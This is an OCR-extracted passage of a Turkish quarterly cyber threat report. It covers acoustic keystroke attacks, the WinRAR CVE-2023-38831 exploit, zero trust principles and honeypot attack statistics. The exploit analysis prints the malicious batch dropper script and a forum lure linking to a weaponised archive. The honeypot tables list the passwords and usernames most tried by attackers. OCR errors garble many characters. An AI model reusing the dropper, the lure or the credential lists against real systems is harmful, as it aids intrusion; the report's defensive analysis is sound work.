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ses kaydi olusturulmus ve daha sonra .wav formatina
dénastirilmustar.

Tam tus vuruglan kaydedildikten sonra bireysel tus vu-
ruslarini ¢ikarabilen bir fonksiyona tabi tutulmusglardir.
Tus vurusu cikarimi son dénem literatriiniin gcogunda
benzer bir ydntem olan Fourier dénlsimu ile gercek-
lestiriimis ve katsayilar frekanslar boyunca toplanarak
“enerjileri” elde edilmistir. Ardindan bir enerji esigi ta-
nimlanarak her tus vurusunun varligi belirlenmistir. Tam
izolasyon stirecinde bu veri icin izole edilen tus vuruslar
sabit uzunlukta 14.400 (0.33 saniye) tutulmustur. Fa-
kat tus vuruslarini Zoom veri setiyle izole etmek daha
zor olmaktadir; bunun sebebi Zoom uygulamasindaki
gUrultd bastirma nedeniyle tus vuruslarinin ses seviye-
sinin blylk 6lciide degismesidir, bu da bir esik degeri
belirlemenin zorlugunu artirmaktadir. Bu sorunu agsmak
icin arastirmacilar dogru sayida tus vurusu bulunana ka-
dar giderek daha kiclk degerlerle ayarlanan bir déngu
uygulamislardir.

Arastirmacilar MacBook Pro’da 36 tusun her birine 25
kez basmis ve her basista Uretilen sesi egitim verisi ola-
rak kullanmak igin toplamiglardir (bakiniz Sekil 22). Daha
sonra her tus icin tanimlanabilir farkliliklari gérsellestiren
kayitlardan dalga formlari ve spektrogramlar Uretilerek,
tus vuruslarini tanimlamak icin kullanilabilecek sinyalleri
artirmak icin belirli veri isleme adimlari gerceklestirilmis-
tir. Spektrogram gdruntileri bir gérintl siniflandirici olan
CoAtNet egitim modeli kullanilarak en iyi tahminleme
sonuglarini ulasana kadar tekrar tekrar egitilmiglerdir. Ni-
hai sonuglarda CoAtNet siniflandiricisi akilli telefon ka-
yitlarinda ylzde 95, Zoom araciliiyla yapilan kayitlarda
ylzde 93 dogruluk oranlarina ulasmistir. Skype uygula-
masi ile yapilan deneylerde daha distk bir deger olan
yuzde 91,7’lik bir dogruluk yakalansa da bu deger de
basaril bir sonug olarak yorumlanmaktadir.

Arastirmacilar kullanicilarin bu saldir tiriinden korun-
mak icin yazma stillerini degistirmeyi veya daha fazla
karakter ve karmasiklik iceren rasgele sifreler kullanmayi

6 keystrokes

Ener;y& B b L L L-L WL

Threshold

Threshold flags N

:/
Isolated Keystrokes

Sekil 22: Tus vurusu seslerinin érneklemesi.
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deneyebileceklerini belitmektedir. Bunun yani sira po-
tansiyel savunma yoéntemleri olarak tus vurus sesleri-
ni beyaz gurilttlerle veya yapay tus vurusu sesleriyle
filtrelemenin de etkili olabilecegini 6ne sirmektedirler.
Burada arastirmacilar saldirr modelinin ¢cok sessiz bir
klavyeye karsi bile son derece etkili oldugunun altina
cizmektedir. Bu nedenle mekanik klavyelere ses s6nim-
leyici eklemek veya membran tabanl klavyelere gegcmek
bu saldin modeli karsisinda etkili bir savunma yéntemi
olmayacaktir.

8. WinRAR Uzaktan Kod Yiriutme Zafiyeti:
CVE-2023-38831

Dinya capinda milyonlarca kullanicisi olan WinRAR en
popluler sikistirma araglarindan biridir. Bu sebeple teh-
dit aktoérlerinin popller olarak kullanilan bu ve benzeri
programlardaki guvenlik acikliklarini aramak, bulmak
ve sdmirmek igin motivasyonlarinin ylksek oldugu
bilinmektedir.

| = Bilgisayar - WinRAR

Dosya Komutlar  Araglar  Sik Kullanilanlar  Segenekler  Yardirn

== Mo iy RECE TR REE

Ekle Dizine Cikart  Test Et Gaster Sil Bul Sihirbaz Bilgi

m 1M Bilgisayar

Isim = Boyut Tiar

Disket Suricisa
Yerel Disk

CD SGrdcdsi

Degigme

= Disket SGricisi ...
&2 Yerel Disk (C:)

-4 DVD RW Sdrici...
s BD-ROM Sdrdci...
=i BD-ROM Siiriici...
ek, CD Sardcdsa (D:...

CD SOrdcdsi
CD SGrdcdsi
CD Sdrdcdsd

Sekil 23: WinRAR uygulamasindan érnek bir ekran gortintisu.

10 Temmuz 2023’te, glvenlik arastirmacilar “DarkMe”
k6tl amacli yaziliminin yayllmasini arastirirken ZIP dosya
formatinin WinRAR tarafindan islenmesinde daha 6nce
bilinmeyen bir givenlik acidiyla karsilastilar. Yaptiklari
incelemelerde tehdit aktérlerinin bu programdaki bir gu-
venlik agigindan yararlanarak “DarkMe”, “GulLoader” ve
“Remcos RAT” gibi cesitli zararll yazihmlar igin tasiyici
gorevi goren ZIP arsivleri olusturduklarini ve silah hali-
ne getirdikleri bu arsivleri yatirnm forumlarinda paylas-
tiklarini tespit ettiler. Tehdit aktérleri kdtl amach yazihm
sayesinde yatirrmci hesaplarindan para ¢ekebiliyorlardi.
Bu glvenlik acigindan Nisan 2023’ten beri faydalanildigi
tahmin edilmektedir 7.

Zafiyeti kesfeden glvenlik arastirmacilar bunu WinRAR
uygulamasinin sahibi olan RARLAB sirketine bildirmistir.
Bunun ardindan sirket 2 Agustos 2023 tarihinde bir giin-
celleme yayinlamistir (WinRAR version 6.23). MITRE’ye
bildirilen bu sifirnci glin zafiyeti (zero-day) CVE-2023-
38831 kodunu almistir (8,
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Teknik inceleme

Yayinlanan raporda, kendilerini kripto para ve hisse se-
nedi forumlarninda yatinm stratejileri paylagsan yatinmcilar
gibi gbsteren tehdit aktdrlerinin zararll dosyalari paylasa-
rak bu zafiyeti sémirmeye caligtidi tespit edilmigtir 7 129,

Yatirm stratejileri iceriyormus gibi gériinen 6zel hazir-
lanmig forum génderileri, PDF’ler, metin dosyalari ve re-
simlerden olusuyor ve WIinRAR ZIP veya RAR arsivlerine
baglantilar igeriyordu.

TEMMUZ-EYLUL 2023

Arsivler acildiginda kullanicilar, asagida gosterildigi gibi
ayni dosya adiyla eslesen bir klasére sahip, zararsiz bir
PDF dosyasi gibi gériinen bir dosya gdreceklerdir.

Ancak kullanici PDF’'ye cift tikladiginda CVE-2023-
38831 gulvenlik acigindan faydalanilarak, cihaza kétu
amacl yazihm ytklemek icin klasérde sessizce bir ko-
mut dosyasi baglatiimaktadir. Ayni zamanda bu scriptler
stiphe uyandirmamak adina tuzak belgeyi de ylklemek-
te ve PDF dosyasi agiimaktadir.

BtcTradingl23 (OP) 5 my best Personal Strategy to trade with bitcoin

Brand new Teday at 09:43:50 AM

#1

/

[ Online

Hello everyone, nice to join you on this forum, believe it or not, | would like to show you how this year many

people could make a high income thanks to bitcoin, trying to better explain my theory | want to attach my

Activity: 0
Merit: 0

concept of the market trend here https://files.catbox.moe/aBim8a.rar (these are the methods that | use it to
study the market) and | have to tell you that based on past years, | think it should be very profitable to invest in

bitcoin this year but I'm still waiting for your opinions, in any case if anyone has any tips for me let me know, I'm
new on this forum but | have been dealing with trading for many years, thank you for your attention.

&

Sekil 24: Kripto yatirm forumlarinda zararli arsiv dosyalarinin paylasilmasina ait érnek bir ekran gértintisu.

“ Strategy.rar.zip (evaluation copy)
Eile Commands Tools Favorites Options Help

8 O I
= .
Add BxractTo  Test View
L i ﬂ Strategy.rar.zip - ZIP archive, unpacked size 3,431,406 bytes

Delete Find Wizard

F

Mame

IEIT -Q*- N @

Size

-
\. Trading_Strategies_2023.pdf 3,106,409
Trading_Strategies_2023.pdf 279723
B TSG_Trading_Intro.png 45,274

[E=5 8o ===
@ &=
Info Virusf;can Comment  SFX
Packed Type Modified CRC32
File folder
2,929,617 File folder 4/11/2023 1:33 ..
237,275 File 4/11/2023 1:07 .. 1AF593F5
41,751 PNG image 4/11/2023 1:31 .. CCBAB3I3F

Total 1 folder, 2 files, 3,431,406 bytes

Sekil 25: Zararli arsiv dosyasinin icerigine bir érnek.

-

View - Trading_Strategies_2023.pdf .cmd
File Edit View Help

=1 Eol ==

@echo off
cd % TEMP%a

do WMIC process call create "%%~G"&&" %% ~K"&&exit
exit

if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit

for /F "delims=" %%k in ('dir /b /s "Trading_Strategies_2023.pdf") do for /F "delims=" %%®G in ('dir /b /s "Images.com™)

285 bytes

Windows text

Sekil 26: Zafiyetin somurtlmesi esnasinda ¢alistirilan komut dosyasi.
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Bu guivenlik agigi normal argiv dosyalariyla kiyaslandiginda
¢cok az degistirilmis bir yapiya sahip, WinRAR’In ShellExe-
cute fonksiyonunun yem olarak eklenen dosyayl agmaya
calisirken yanlis parametre almasina neden olacak sekilde
6zel hazirlanmig arsivler olusturulmasiyla tetiklenmektedir.

Boéylece programin zararsiz dosyay atlamasi ve bunun
yerine toplu is dosyasini veya CMD komut dosyasini
calistirmasi saglanir. Kullanici glivenli bir dosya actigini
varsayarken program farkl bir dosya baslatir.
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Komut dosyasi, bilgisayara “DarkMe”, “GuLoader” ve
“Remcos RAT” gibi ¢esitli kétt amacl yazimlari bulagti-
rarak saldirgana uzaktan erigsim saglar®" (9,

Atak semasi asagidaki gibidir:

WiInRAR kullanicilarina, dosya sahtekarli§i ve yakin za-
manda agiklanan diger saldin risklerini ortadan kaldir-
mak icin, yazilimlarini en son sirim olan 6.23 striimune
yukseltmeleri tavsiye edilmektedir #°.

Infection chain involving the file extension spoofing

exploit (CVE-2023-38831)

WinRAR.exe

J

Weaponized
ZIP archive

1 the image file

BAT script

Sekil 27: CVE-2023-38831’den faydalanan atak semasi®®’.
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9. Zero Trust Modeli

Sifir gliven (Zero Trust) felsefesinin temelleri, bilgisayar
sistemleri icin 1994 senesinde Stephen Paul Marsh’in
“Guveni bilgi islemsel bir konsept olarak formile etmek”
(Formalising Trust as a Computational Concept) tezinde
atilmistir. Her ne kadar siber guivenlik ¢cergevesinde kul-
landigimiz anlamdan farkl olsa da bilgisayar sistemlerin-
de ilk defa kullanildigi i¢in dnemlidir. Bu tezde gecgen sifir
glven (no trust - zero trust) kavrami, gliveni hesaplama
teorisi ile iligkilidir“®,

GUnUmUzde ise zero trust, glvenin slrekli olarak deger-
lendirilmesi gerektigini ve implicit trust olmamasi gerek-
tigini savunan bir anlayistir (ickin gliven: 6zneye verilen
glivenin her zaman gecerli olmasi; 6zne kritik bir nesne-
ye yetkili ise diger kritik nesnelere de yetkili olmasi)

Bu anlayis ilk olarak 2009 senesinde Google tarafindan
sunulan “beyondcorp” mimarisinde uygulanmigtl ve
ilk olarak 2010 yiinda “Forrester Research” tarafindan
tanimlanmigtir*2,

Bugiin organizasyonlar aglarina baglanan sayisiz tirde
cihazla basa ¢ikmak zorundadir. Kati bir disiplinle sade-
ce merkezden c¢alisilan, sadece kurumsal cihazlarin kul-
lanilmasina izin verilen, tim ydnetim igleri organizasyon
tarafindan gergeklestirilen, agdan veri ¢ikisina tamamen
engel olunan bir yapi kurmak mimkuin olsa da birgok or-
ganizasyon igin bu kurgu gercekgi degildir. Ote yandan
mevcut ¢ézimlerle esnek g¢alisma ortamlarinin yarattigi
glvenlik problemleriyle basa ¢ikiimasi konusundaki ba-
sarisizliga da defalarca sahit olundu. Bu sebepten &tiri
kurgunun gincellenmesi kaginilmaz hale geldi ve “Zero
Trust” modeli bicimlenmeye baglad..

Sifir gliven mimarisi, kimligi (kisi ve kisi olmayan varlik-
lar), kimlik bilgilerini, erisim yénetimini, islemleri, u¢ nok-
talar, barindirma ortamlarini ve ara baglanti altyapisini
kapsayan kurumsal kaynak ve veri givenligine yonelik
uctan uca bir yaklasimdr. ilk odak noktasi, kaynaklari
erisime ihtiyaci olanlarla sinirlamak ve yalnizca gorevi
yerine getirmek icin gereken minimum ayricaliklari ver-
meye calismaktir. Geleneksel mimaride organizasyonlar
sinir savunmasina odaklanir ve kimlik dogrulamasi yapi-
lan Kisilere, kaynaklara genis bir yelpazede yetkili erisim
hakki verilir.

Uygulama Gereksinimleri

Zero trust modelinde tek bir kurgunun tim organizas-
yonlara uymayacagini unutmamak gerekir. Organizas-
yonlar zero trust kurgularini kendilerine gore 6zellestir-
melidir. Kurgu tasarlanirken asagidaki unsurlar dikkate
alinmalidir.
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Altyapi
tutulmasi,

karmagikhginin  uygulanabilir ~ seviyede

Politika uygulamasinin evrensel olarak tim varlkla-
ra (cihazlar, servisler vb.) ve konumlarindan bagimsiz
olarak uygulanmasi,

C6zUmiln kurulus politikasina ve kamu/sektér stan-
dardina uygun, uyumlu olmasi,

Eger bulut ve fiziksel ortam kullanan bir organizasyon
ise politika uygulamasinin fiziksel ve bulut hibrid or-
tamlarinda galismasi.

Hedefleri tanimlamadan dnce tekrar alti gizilmesi gere-
ken unsur sifir glivenin bir anlayis olmasidir. Kaynaklar-
da, hedefler benzer cercevede olsa da farkliliklar gés-
terebilir. NIST, temel ilkelerden bahsederken harfiyen
uygulanamayabilir oldugunun g6z 6niinde bulundurul-
masini belirtmektedir.

NIST 800-207 ye goére ise bu temel ilkeler asagidaki
gibidir*3,

1. Tum veri kaynaklan ve bilgi islem hizmetleri kay-
nak olarak kabul edilmelidir: Bir ag birden fazla
cihaz sinifindan olusabilir. Ayrica kisisel olarak sahip
olunan cihazlar, kurulusun sahip oldugu kaynaklara
erisebiliyorsa, kisisel olarak sahip olunan cihazlarin
da siniflandirmasi yapilabilir.

2. Ag konumundan bagimsiz olarak tiim iletisim
givence altina alinmalidir: A§ konumu tek basina
glven anlamina gelmez. Kurulusun sahip oldugu ag
altyapisinda bulunan varliklardan gelen erisim istek-
leri, kurulusa ait olmayan diger aglardan gelen erisim
istekleri ve iletisim ile ayni guivenlik gereksinimlerini
karsilamalidir. Yani cihazin kurumsal ag altyapisinda
bulunmasina gére giiven otomatik olarak verilmeme-
lidir. TUm iletisim mUmkin olan en guvenli sekilde
yapilmali, gizlilik ve butinlik korunmali ve kaynak
kimlik dogrulamasi saglanmalidir.

3. Bireysel kurumsal kaynaklara erisim, oturum ba-
zinda verilmelidir: Erisim izni verilmeden &énce is-
tekte bulunan kisiye olan gliiven degerlendirilir. Go-
revi tamamlamak icin gereken en az ayricalikla erisim
saglanmalidur.

4. Kaynaklara erisim, talep eden varligin gézlemle-
nebilir durumu dahil olmak lizere dinamik politika
tarafindan belirlenmelidir: Bir kurulus, hangi kay-
naklara sahip oldugunu, Uyelerinin kimler oldugunu
(veya federe bir topluluktan kullanicilarin kimligini
dogrulama yetenegini) ve bu Uyelerin ihtiyac duydu-
gu kaynaklara hangi erisime sahip oldugunu tanimla-
yarak kaynaklari korumaldir.

5. Kurulug, sahip olunan ve iligkili tiim varlklarin bi-
tanliagiini ve giivenlik durumunu izlemeli ve dl¢-
melidir: Hi¢bir varliga isin dogasi geregi glvenilmez.
Organizasyon, bir kaynak talebini degerlendirirken
varligin gvenlik durumunu da degerlendirir.

SIBER TEHDIT DURUM RAPORU



TEMMUZ-EYLUL 2023

6. Tum kaynak kimlik dogrulamasi ve yetkilendir-
mesi dinamik olmaldir ve erisim izni verilmeden
énce siki bir sekilde uygulanmalidir: Bu, erigim
elde etme, tehditleri tarama ve degerlendirme, uyum
saglama ve devam eden iletisime duyulan giiveni si-
rekli olarak yeniden degerlendirmenin sirekli bir dén-
gusudir. ZTA uygulayan bir kurulusun Kimlik, Kimlik
Bilgisi ve Erisim Yonetimi (ICAM) ve varlik yénetimi
sistemlerine sahip olmasi beklenir. Bu, kurumsal kay-
naklarin bir kismina veya tamamina erisim icin ¢ok
faktorlt kimlik dogrulamanin (MFA) kullanimini icerir.

7. Organizasyon, varliklarin mevcut durumu, ag alt-
yapisi ve iletisimler hakkinda miimkiin oldugunca
fazla bilgi toplamali ve bunlan giivenlik durusunu
iyilestirmek i¢cin kullanmalidir: Bir kurulus, varlik
glvenligi durumu, ag trafigi ve erisim talepleri hak-
kinda veri toplamali, bu verileri islemeli ve elde edilen
bilgileri politika olusturma ve uygulamayi iyilestirmek
icin kullanmalidir.

Zero Trust Temel Fonksiyonlari

1. Kimlik Dogrulama ve Yetkilendirme: Her kullanici
ve cihaz, aga erisim talep ettiginde kimlik dogrulama
surecinden gecer. Bu, kullanicilarin kimliklerini belge-
lemesi ve yetkilendirme sireciyle hangi kaynaklara
erigebileceklerinin belirlenmesi anlamina gelir.

2. Mikrosegmentasyon: AJi glvenlik bolgelerine veya
segmentlere boélmek, onu daha iyi yénetilebilir ve gu-
venli hale getirir.

3. Cok Faktorlii Kimlik Dogrulama (MFA): Cok fak-
térlt kimlik dogrulama, kullanicilarin kimliklerini daha
guclu bir sekilde dogrulamalarini saglar. Bu, kullani-
cilarin parolalarinin yani sira biyometrik veriler, fiziksel
anahtarlar veya tek kullanmlik kodlar gibi bagka bir
kimlik dogrulama fakt6éri sunmalarini gerektirir.

4. Erisim Kontrolleri: Zero Trust, kullanicilarin ve cihaz-
larin hangi kaynaklara erigebilecegini siki bir sekilde
kontrol eder. ihtiyac duyulan en diisiik diizeyde eri-
sim yetkisi verilir ve gereksiz erigsimler sinirlanir.

5. Siirekli Gézetim ve izleme: Zero Trust, ag trafigini
surekli olarak izler ve anormal aktiviteleri tespit etme-
ye calisir. Potansiyel tehditleri erken asamada tespit
etmeye yardimci olur ve hizli yanit verilmesini saglar.
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Sekil 28: NIST Zero Trust Mimarisi.

Zero Trust Mimarisi (ZTA)
ZTA Bilesenleri

ZTA bilesenleri mantiksal tasarimda 2 dizeyde (plane)
ele alinmaktadir. Bunlar Control Plane ve Data Plane dir.

ZTA temelde 3 bilesenden olusmaktadir. Asagida bdlge
aciklamalari ve bilesenler anlatiimistir.

1) Kontrol Diizeyi

Policy Decision Point (PDP - Politika karar noktasi):
Kontrol dizlemi, varliklarin bakimini yapmak ve yapi-
landirmak icin kullanilir. Ayrica kaynak erisimi kararlarini
vermek ve kaynaklar arasindaki iletisim yollarini kurma
islemleri yine kontrol bélgesinde gerceklestirilir.

Policy Engine (PE - Politika motoru): Bu bilesen, belirli
bir konu icin bir kaynaga erisim izni verilmesine iligkin
nihai karardan sorumludur. PE, kaynagda erisim izni ver-
mek, reddetmek veya iptal etmek icin kurumsal politika-
nin yani sira harici kaynaklardan gelen girdileri bir gliven
algoritmasina girdi olarak kullanir. Politika motoru karari
verir ve ginlige kaydeder.

Policy Administrator (PA - Politika idarecisi): Bu bi-
lesen, bir konu ile bir kaynak arasindaki iletisim yolunun
kurulmasindan ve/veya kapatiimasindan sorumludur.

2) Data Diizeyi: (Veri diizeyi) Uygulama verileri arasin-
da gerceklesen iletisim icin kullanilir.

Policy Enforcement Point (PEP - Politika Tahkim
Noktasi): Nihai karar PEP’de verilir. Yapi olarak hem
kontrol dizeyinde hem de veri dliizeyinde ele alinir.
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ZTA

ZTA Bilesenleri

Politika Karar Moktas

—

Politika Yoneticisi  Policy Engine

Politika Uygulama MNoktas

Yardimci Kaynaklar

Tehdit Istihbarati  Aktivite Loglan  Erisim Paolitikalan  PKI  Kimlik Yonetimi  SIEM

Sekil 29: ZTA bilesenleri.

Yardimci Bilesenler

ZTA bilesenlerine ek olarak, cesitli veri kaynaklari, girdi
ve politika kurallarini saglar.

ZTA'nin etkin bir sekilde kurulmasi igin asagidaki unsur-
lardan faydalanilabilir.

Tehdit istihbarati beslemeleri
Aktivite loglari

Erisim politikalar

PKI

Kimlik yénetimi

SIEM

ZTA farkl yaklagimlar ve farkll modellerle kurulabilir. Gegis
yapmak isteyen organizasyonun kendisine uygun mode-
li belirleyip buna gére hareket etmesi gerekir. Bu yazida

Attacks by Country

bahsettigimiz unsurlar birgok farkli Grin kombinasyonuy-
la gergeklestirilebilir. Organizasyonlarin is akislar, mevcut
teknolojik altyapilan ve yatinm maliyetlerini dikkate alarak
“asla givenme, her zaman dogrula” anlayisina mimkan
oldugunca uygun hareket etmesi riskleri azaltacaktir. An-
cak gecis sirecinde ¢ok dikkatli olmak ve yanlis givenlik
algilarina kapilmamak gerekir.

Honeypot Verileri

Bu rapor son U¢ ay igcinde Honeypot sensérlerimizden
topladigimiz verilerle olusturulmustur. En ¢ok saldin top-
lanan Ulkeler, portlar, en ¢cok denenen kullanici adlar ve
parolalar, veriler azalan sirada listelenerek inceleme igin
sunulmustur. Temmuz, Agustos ve Eylul 2023 aylar bo-
yunca Honeypot sensérlerimize toplam 2.297.609 saldiri
gelmistir.

Russia

» Estonia
Brazil
France
China
India

® Turkey
United States
Vietnam

Netherlands

Sekil 30: Gelen saldirilarin Ulkelere gore dagiimi.
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Saldinlann Geldigi Ulke Saldiri Sayisi
Rusya 268.082
Estonya 248.304
Brezilya 156.843
Fransa 153.161
Cin 132.119
Hindistan 130.423
Turkiye 122.512
ABD 110.166
Vietnam 88.961
Hollanda 84.415

Tablo 1: En ¢ok saldir gelen 10 Ulke ve saldiri sayilari.

Toplanan veriler incelendiginde, en cok saldirn gelen
Ulkenin Rusya (ylzde 17,87) oldugu, Estonya (ylizde
16,55), Brezilya (ylizde 10,45), Fransa (ylzde 10,21) ve
Cin’in (ylzde 8,9) onu takip ettigi gorilmektedir. Tlrkiye
yuzde 8,18’lik oran ile listenin 7. sirasinda yer almaktadir.

Saldinlan Port Saldin Sayisi
445 - SMB 721.264
5900 - VNC 499.898
3389 - RDP 144.400
25 - SMTP 99.042
22 - SSH 95.051
23 - TELNET 20.184
8000 - HTTP 5.917
52869 - UPnP SOAP 5.093
8080 - TCP/HTTP 4.498
80 - HTTP 3.012

Tablo 2: En ¢ok saldiri gelen portlar, bu portlari kullanan servisler
ve saldir sayilari.

111111
123456789

111111111111

1234~ "admin 1223456

unknown

football
PasswOrd

sunshine
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Tablo 2’de de gérildigu Uzere en ¢ok saldir 445 portu-
na gelmistir. 445 portunda sunucularin yazici ve payla-
sllan dosyalar i¢in kullandigi SMB servisi ¢alismaktadir.
Bu ylzden SMB servisinin diger servislerden daha gok
saldin almasi beklenen bir durum olarak kabul edilebilir.
SMB servisini sirasiyla VNC, RDP, SMTP, SSH ve TEL-
NET takip etmekte. Bir dnceki ceyrege kiyasla UPnP ve
web servislere yapilan saldinlarin artis géstermesi dikkat
cekmektedir.

UPNP, ag cihazlarini ve hizmetlerini kesfetmek, kurmak
ve yénetmek igin kullanilan bir iletisim protokolldur. Bir-
¢ok ev otomasyonu ve ag cihazi tarafindan desteklenir.
Saldirganlar, UPnP ile ilgili glivenlik aciklarini hedef ala-
rak ada yetkisiz erisim saglayarak gesitli zararli eylem-
lerde bulunabilir ve agdaki cihazlari tehlikeye atabilirler.

80, 8080 ve 8000 portlarinda calisan servisler genellik-
le web servisleri olup bu ceyrekte web uygulamalarina
yonelik saldirlann arttigini sdyleyebiliriz. Web uygulama-
larina yapilan bu saldirilar neticesinde saldirganlar sunu-
culara zarar verebilir, hassas bilgileri ele gegirebilir veya
hizmet kesintilerine neden olabilir.

Denenen Parola Deneme Sayisi

123456 2.055
32459s5662d34 1.757
345gs5662d34 1.752
admin 1.252
password 1.178
(bos) 823
123 774
12345678 647
12345 609
Password 511

Tablo 3: SSH ve RDP honeypotlarimiz tGzerinde en cok denenen

parolalar ve deneme sayilari.

support
USERP abe123

12345678 123123 michelle

(empty) ,
blank 1g2w3e4r prince
_Cisco

Sekil 31: Parola etiket bulutu.
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unknown
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sh
admin

ubuntu

support

Sekil 32: Kullanici adi etiket bulutu.

Deneme Sayisi

root 64.683
admin 2.481
345gs5662d34 1.752
(bos) 1.649
ubuntu 846
user 820
postgres 640
test 552
sh 405
ubnt 343

Tablo 4: SSH ve RDP honeypotlarimiz izerinde en ¢cok denenen
kullanici adlari ve deneme sayilari.
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